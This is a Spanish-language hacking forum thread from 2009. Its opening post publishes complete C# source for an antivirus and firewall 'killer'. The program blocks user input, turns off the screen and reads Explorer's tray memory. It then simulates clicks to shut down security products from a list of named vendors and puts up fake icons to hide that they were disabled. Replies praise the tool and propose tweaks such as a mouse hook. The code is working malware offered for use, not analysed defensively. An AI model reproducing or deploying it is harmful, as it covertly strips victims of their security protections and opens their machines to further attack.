elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
24 Mayo 2012, 18:44  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  [SRC][C#] Cutre killer
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SRC][C#] Cutre killer  (Leído 3,536 veces)
ska1ix

Desconectado Desconectado

Mensajes: 62


Ver Perfil
[SRC][C#] Cutre killer
« en: 19 Junio 2009, 19:18 »

He hecho, partiendo del trabajo de Karl Wagner sobre el systray (la bandeja del sistema, eso que está justo a la izquierda del reloj en Windows), un cutre killer para desactivar antivirus, firewalls y demás. Lo que hace el programa es apagarte la pantalla, bloquear el teclado y el ratón, y mientras el usuario no puede ver nada, simular los clicks que llevan a desactivar estas aplicaciones. También crea un icono falso igual que el del programa original, pero sin menú al darle click con el botón derecho.

Funciona para el Kerio Firewall 2.1.5, para el Panda 2009, y en general debería para todos los que se desactiven haciendo click con el botón derecho y dándole a Exit o Salir. PROBLEMA: Depende un poco de cómo reaccione el usuario, si empieza a mover el ratón puede que se le active la pantalla y vea el pastel, aunque no podrá hacer nada porque tiene el ratón bloqueado. Si en vez de Thread.Sleeep() utilizará otro thread o algo así igual iría mejor.

También se podría modificar para otros como el NOD32, diciendo dónde debe hacer click para desactivarlo. Ya lo explicaré la próxima semana.

Para compilarlo, hay que abrir un nuevo proyecto de C#, y MUY IMPORTANTE, añadir esto en Form1.Designer.cs (o como se llame el diseñador de tu form) donde pone InitializeComponent()

Código
private void InitializeComponent()
       {
           NativeMethods.BlockInput(true);
           // Turn off screen so user doesn't see what's happening
           NativeMethods.SendMessage(Process.GetCurrentProcess().Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
 
           this.components = new System.ComponentModel.Container();

Código
using System;
using System.Text;
using System.Windows;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
using System.Drawing;
using System.Windows.Forms;
 
 
namespace WindowsFormsApplication1
{
   public partial class Form1 : Form
   {
       static readonly string[] LowNames =
       {
           "Avira", "AOL", "Avast", "AVG", "Kaspersky", "BitDefender", "BullGuard", "Clam",
           "Comodo", "Fortinet", "Secure", "Prot", "McAfee", "NOD32", "Norman", "Norton",
           "Panda", "PC Tools", "Sophos", "Vba32", "VIPRE", "Virus", "ZoneAlarm", "Kerio",
           "Antivirus", "Firewall", "Ninja", "Spyware"
       };
 
 
       public const uint WM_MENUSELECT = 0x11F;
       public const uint WM_COMMAND = 0x111;
       public const uint MF_BYCOMMAND = 0x000;
       public const uint MF_BYPOSITION = 0x400;
       public const uint MN_GETHMENU = 0x1E1;
       public const uint MOUSEEVENTF_LEFTDOWN = 0x002;
       public const uint MOUSEEVENTF_LEFTUP = 0x004;
       public const uint SC_MONITORPOWER = 0xF170;
       public const uint WM_SYSCOMMAND = 0x0112;
 
       private static IntPtr _systray = IntPtr.Zero;
       private static int TrayItemCount;
       private static TrayIconData[] ButtonData;
       private static int mainId = 0;
       private static bool killIt = false;
 
       public Form1()
       {
           InitializeComponent();
           NativeMethods.EnumWindowsProc popupMenu = new NativeMethods.EnumWindowsProc(FindPopupMenu);
           NativeMethods.EnumWindowsProc yesDialog = new NativeMethods.EnumWindowsProc(FindDialogWin);
 
           // Get data from system tray
           GetTrayData(out ButtonData);
 
           for (int i = TrayItemCount - 1; i >= 0; i--)
           {
               for (int j = 0; j < LowNames.Length; j++)
               {
                   if (ButtonData[i].Text.ToLower().Contains(LowNames[j].ToLower()))
                       killIt = true;
               }
               if (killIt)
               {
                   // Set the pID for the process that is going to be shutdown
                   NativeMethods.GetWindowThreadProcessId(ButtonData[i].traydata.hwnd, out mainId);
                   NotifyIcon dynamicIcon = new NotifyIcon();
                   dynamicIcon.Icon = Icon.FromHandle(ButtonData[i].traydata.hIcon);
                   if (ButtonData[i].Text.Length > 60)
                   {
                       dynamicIcon.Text = ButtonData[i].Text.Substring(0, 60);
                   }
                   else
                   {
                       dynamicIcon.Text = ButtonData[i].Text;
                   }
                   this.components.Add(dynamicIcon);
                   RightClickEvent(ButtonData[i]);
                   // wait until the popup menu window appears
                   Thread.Sleep(500);
                   this.Activate();
                   // check window by window until we find the popup menu
                   NativeMethods.EnumWindows(popupMenu, 0);
                   Process myProcesses = Process.GetProcessById(mainId);
                   //Check to see if the process array length is greater than 0
                   if (!myProcesses.HasExited)
                   {
                       Thread.Sleep(500);
                       this.Activate();
                       NativeMethods.EnumWindows(yesDialog, 0);
                   }
                   if (myProcesses.HasExited)
                   {
                       // If we have closed an application, we must update the information for the tray
                       GetTrayData(out ButtonData);
                       // As the removed an icon, we must check again the same position
                       i = i + 1;
                   }
                   // We make our fake icon visible
                   dynamicIcon.Visible = true;
                   killIt = false;
               }
           }
           NativeMethods.BlockInput(false);
       }
 
       public static void GetTrayData(out TrayIconData[] ButtonData)
       {
           _systray = FindTray();
           TrayItemCount = GetTrayIconCount();
           ButtonData = getButtons();
       }
 
       private static IntPtr FindTray()
       {
           IntPtr hwndParent = NativeMethods.FindWindow("Shell_TrayWnd", null);
           IntPtr hwndTray = NativeMethods.FindWindowEx(hwndParent, IntPtr.Zero, "TrayNotifyWnd", null);
           IntPtr hwndPager = NativeMethods.FindWindowEx(hwndTray, IntPtr.Zero, "SysPager", null);
           hwndParent = NativeMethods.FindWindowEx(hwndPager, IntPtr.Zero, "ToolbarWindow32", null);
           return hwndParent;
       }
 
       private static int GetTrayIconCount()
       {
           uint TB_BUTTONCOUNT = 0x418;
           int iconCount = (int)NativeMethods.SendMessage(_systray, TB_BUTTONCOUNT, IntPtr.Zero, IntPtr.Zero);
           return iconCount;
       }
 
       private static unsafe TrayIconData[] getButtons()
       {
           byte[] buffer = new byte[4096];
           TrayIconData[] data = new TrayIconData[1];
           //Find Explorer’s PID
           int ExplorerPID = 0;
           NativeMethods.GetWindowThreadProcessId(_systray, out ExplorerPID);
           //Hence get an hProcess
           IntPtr hProcess = NativeMethods.OpenProcess(2035711, false, ExplorerPID);
           if (hProcess != IntPtr.Zero)
           {
               //Allocate some memory for the button data
               IntPtr butt = NativeMethods.VirtualAllocEx(hProcess, IntPtr.Zero, new UIntPtr(4096), 4096, 4);
               int length = TrayItemCount;
               data = new TrayIconData[length];
               for (int id = 0; id < length; id++)
               {
                   data[id] = new TrayIconData();
                   fixed (TBBUTTON* tbbuttonRef = &data[id].button)
                   {
                       IntPtr lpBuffer = new IntPtr((void*)tbbuttonRef);
                       //Get the button data for the id-th button, let it get written to the memory we allocated
                       NativeMethods.SendMessage(_systray, 1047, new IntPtr(id), butt);
                       int num = 0;
                       IntPtr lpNumberOfBytesRead = new IntPtr((void*)&num);
                       //Read the data back in to our TBBUTTON structure
                       if (NativeMethods.ReadProcessMemory(hProcess, butt, lpBuffer, new UIntPtr((uint)sizeof(TBBUTTON)), out lpNumberOfBytesRead))
                       {
                           //Create a fixed TRAYDATA structure
                           fixed (TRAYDATA* traydataRef = &data[id].traydata)
                           {
                               IntPtr ptr5 = new IntPtr((void*)traydataRef);
                               //Read the value back in to our TRAYDATA structure
                               NativeMethods.ReadProcessMemory(hProcess, new IntPtr(data[id].button.dwData), ptr5, new UIntPtr((uint)sizeof(TRAYDATA)), out lpNumberOfBytesRead);
                           }
                           fixed (byte* numRef = buffer)
                           {
                               //Get the button's text in to the allocated memory
                               int len = (int)NativeMethods.SendMessage(_systray, 1099, (IntPtr)data[id].button.idCommand, butt);
                               if (len != -1)
                               {
                                   //And read it back, putting it in the text object
                                   IntPtr ptr6 = new IntPtr((void*)numRef);
                                   if (NativeMethods.ReadProcessMemory(hProcess, butt, ptr6, new UIntPtr(4096), out lpNumberOfBytesRead))
                                       data[id].Text = Marshal.PtrToStringAuto(ptr6, len);
                                   else
                                       data[id].Text = "";
                               }
                               else
                                   data[id].Text = "";
                           }
                       }
                   }
               }
               NativeMethods.VirtualFreeEx(hProcess, butt, UIntPtr.Zero, 32768);
           }
           return data;
       }
 
       public static void RightClickEvent(TrayIconData ButtonData)
       {
           NativeMethods.PostMessage(ButtonData.traydata.hwnd, ButtonData.traydata.uCallbackMessage, (int)ButtonData.traydata.uID, 0x204);
           NativeMethods.PostMessage(ButtonData.traydata.hwnd, ButtonData.traydata.uCallbackMessage, (int)ButtonData.traydata.uID, 0x205);
           //NativeMethods.SetForegroundWindow(ButtonData.traydata.hwnd);
       }
 
       public static bool FindPopupMenu(IntPtr hWnd, int lParam)
       {
           StringBuilder className = new StringBuilder(0x20);
           int pId = 0;
 
           // Get window's parent process ID
           NativeMethods.GetWindowThreadProcessId(hWnd, out pId);
 
           // Check if the parent is the one we are looking for
           if (mainId == pId)
           {
               // Check if the window is a popup menu
               NativeMethods.GetClassName(hWnd, className, 0x20);
               if (className.ToString().Equals("#32768"))
               {
                   // Get coordinates for the window and click in its last item
                   RECT coor = new RECT();
                   NativeMethods.GetWindowRect(hWnd, out coor);
                   NativeMethods.SetCursorPos(coor.Right - 10, coor.Bottom - 10);
                   NativeMethods.mouse_event(MOUSEEVENTF_LEFTDOWN, coor.Right - 10, coor.Bottom - 10, 0, 0);
                   NativeMethods.mouse_event(MOUSEEVENTF_LEFTUP, coor.Right - 10, coor.Bottom - 10, 0, 0);
               }
           }
           return (true);
       }
 
       public static bool FindDialogWin(IntPtr hWnd, int lParam)
       {
           NativeMethods.EnumWindowsProc yesButtonWindow = new NativeMethods.EnumWindowsProc(FindYesButton);
           StringBuilder className = new StringBuilder(0x20);
           int pId = 0;
 
           // Get window's parent process ID
           NativeMethods.GetWindowThreadProcessId(hWnd, out pId);
 
           // Check if the parent is the one we are looking for
           if (mainId == pId)
           {
               // Check if the window is a dialog menu
               NativeMethods.GetClassName(hWnd, className, 0x20);
               NativeMethods.EnumChildWindows(hWnd, yesButtonWindow, 0);
           }
           return (true);
       }
 
       public static bool FindYesButton(IntPtr hWnd, int lParam)
       {
           StringBuilder windowName = new StringBuilder(0x20);
 
           // Check if the window is a button
           NativeMethods.GetWindowText(hWnd, windowName, 0x20);
           if ((windowName.ToString().Contains("Sí")) || (windowName.ToString().Contains("Yes")))
           {
               // Get coordinates for the window and click it
               RECT coor = new RECT();
               NativeMethods.GetWindowRect(hWnd, out coor);
               NativeMethods.SetCursorPos(coor.Right - 10, coor.Bottom - 10);
               NativeMethods.mouse_event(MOUSEEVENTF_LEFTDOWN, coor.Right - 10, coor.Bottom - 10, 0, 0);
               NativeMethods.mouse_event(MOUSEEVENTF_LEFTUP, coor.Right - 10, coor.Bottom - 10, 0, 0);
           }
           return (true);
       }
 
 
       internal static class NativeMethods
       {
           // Lot of API's definitions
 
           [DllImport("user32.dll", SetLastError = true)]
           internal static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
 
           [DllImport("user32.dll", SetLastError = true)]
           internal static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
 
           [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
           internal static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
 
           [DllImport("user32.dll")]
           public static extern void SendMessage(IntPtr hWnd, uint hMsg, uint wParam, int lParam);
 
           [DllImport("user32.dll", SetLastError = true)]
           internal static extern uint GetWindowThreadProcessId(IntPtr hWnd, out int lpdwProcessId);
 
           [DllImport("kernel32.dll")]
           internal static extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
 
           [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
           internal static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
 
           [DllImport("kernel32.dll", SetLastError = true)]
           internal static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UIntPtr dwSize, out IntPtr lpNumberOfBytesRead);
 
           [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
           internal static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);
 
           [return: MarshalAs(UnmanagedType.Bool)]
           [DllImport("user32.dll", SetLastError = true)]
           internal static extern bool PostMessage(IntPtr hWnd, uint Msg, int wParam, int lParam);
 
           [DllImport("user32.dll", SetLastError = true)]
           [return: MarshalAs(UnmanagedType.Bool)]
           internal static extern bool DestroyIcon(IntPtr hIcon);
 
           [DllImport("user32.dll")]
           [return: MarshalAs(UnmanagedType.Bool)]
           internal static extern bool SetForegroundWindow(IntPtr hWnd);
 
           [DllImport("user32.dll")]
           [return: MarshalAs(UnmanagedType.Bool)]
           internal static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect);
 
           [DllImport("user32.dll")]
           public static extern int GetForegroundWindow();
 
           [DllImport("user32.dll")]
           public static extern int EnumWindows(EnumWindowsProc ewp, int lParam);
 
           [DllImport("user32.dll", SetLastError = true)]
           public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);
 
           [DllImport("user32.dll")]
           public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
 
           [DllImport("user32.dll")]
           public static extern bool SetCursorPos(int X, int Y);
 
           [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
           public static extern void mouse_event(uint dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
 
           [DllImport("user32.dll")]
           public static extern bool BlockInput(bool fBlockIt);
 
           [DllImport("user32.dll")]
           [return: MarshalAs(UnmanagedType.Bool)]
           public static extern bool EnumChildWindows(IntPtr hwndParent, EnumWindowsProc lpEnumFunc, int lParam);
 
           public delegate bool EnumWindowsProc(IntPtr hWnd, int lParam);
       }
 
 
       [StructLayout(LayoutKind.Sequential)]
       public struct TRAYDATA
       {
           public IntPtr hwnd;
           public uint uID;
           public uint uCallbackMessage;
           private uint Reserved;
           private uint Reserved2;
           public IntPtr hIcon;
       }
 
       [StructLayout(LayoutKind.Sequential, Pack = 1)]
       public struct TBBUTTON
       {
           public int iBitmap;
           public int idCommand;
           public byte fsState;
           public byte fsStyle;
           public byte bReserved0;
           public byte bReserved1;
           public int dwData;
           public int iString;
       }
 
       public class TrayIconData
       {
           public TrayIconData()
           {
               button = new TBBUTTON();
               traydata = new TRAYDATA();
               Text = " ";
           }
           public TBBUTTON button;
           public TRAYDATA traydata;
           public string Text;
       }
 
       [StructLayout(LayoutKind.Sequential)]
       public struct RECT
       {
           public int Left;
           public int Top;
           public int Right;
           public int Bottom;
       }
 
   }
}
« Última modificación: 21 Junio 2009, 11:21 por ska1ix » En línea
Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: [SRC][C#] Cutre killer
« Respuesta #1 en: 21 Junio 2009, 16:28 »

Me encanta la idea, tengo que probarlo, se agradece! ;-)
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
50l3r


Desconectado Desconectado

Mensajes: 758


Todo lo que se por la cuarta parte que desconozco


Ver Perfil WWW
Re: [SRC][C#] Cutre killer
« Respuesta #2 en: 21 Junio 2009, 22:32 »

muy bueno, sea como sea es otra forma de luchar contra windows  ;)
En línea

Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: [SRC][C#] Cutre killer
« Respuesta #3 en: 22 Junio 2009, 11:58 »

La idea es buena, pero es un poco chapucera... se podría arreglar un poco creo... ummm a ver si puedo codear algo :rolleyes:

Solo una cosa... tu hablas Ingles? O son los comentarios de Karl Wagner?

Saludos ;)
En línea

Jubjub


Desconectado Desconectado

Mensajes: 708


Lay Ladie lay,...


Ver Perfil WWW
Re: [SRC][C#] Cutre killer
« Respuesta #4 en: 22 Junio 2009, 12:03 »

Estaria bien ocultar el raton y generar uno falso. no?
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: [SRC][C#] Cutre killer
« Respuesta #5 en: 22 Junio 2009, 13:17 »

Estaria bien ocultar el raton y generar uno falso. no?
Te refieres a que se mueva solo?... nah... me parece una tonteria lo de bloquear el raton... con deshabilitar los clicks sobra :P
En línea

ska1ix

Desconectado Desconectado

Mensajes: 62


Ver Perfil
Re: [SRC][C#] Cutre killer
« Respuesta #6 en: 25 Junio 2009, 07:38 »

Solo una cosa... tu hablas Ingles? O son los comentarios de Karl Wagner?

La parte que coge la información del systray es la de Karl, lo demás lo he programado yo. Tengo costumbre de escribir los comentarios en inglés.
En línea
GhOxXxT

Desconectado Desconectado

Mensajes: 63



Ver Perfil WWW
Re: [SRC][C#] Cutre killer
« Respuesta #7 en: 25 Junio 2009, 07:46 »

muy bueno
lo chekare.
por
cierto no habra manera de k con el raton el movimiento sea al contrario y al momento del click
regresara al centro de la pantalla jajajajaja
seria divertido.
(solo pensar como batallaran al momento de mover el raton al lugar y "sorpresa" click y al mismo lugar)
jajaja
saludos
En línea

>TrAfIcAnDo IdEaS<
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: [SRC][C#] Cutre killer
« Respuesta #8 en: 25 Junio 2009, 11:33 »

muy bueno
lo chekare.
por
cierto no habra manera de k con el raton el movimiento sea al contrario y al momento del click
regresara al centro de la pantalla jajajajaja
seria divertido.
(solo pensar como batallaran al momento de mover el raton al lugar y "sorpresa" click y al mismo lugar)
jajaja
saludos
¿HOOK?
Código:
WH_MOUSE_LL
En línea

1112815

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: [SRC][C#] Cutre killer
« Respuesta #9 en: 3 Julio 2009, 21:37 »

Este proyecto me parece brutal, ojala siga adelante.
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
windowsliveteam.com nuevo Phishing (bastante cutre)
Seguridad
el-brujo 2 1,042 Último mensaje 17 Septiembre 2008, 15:04
por Songoku
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines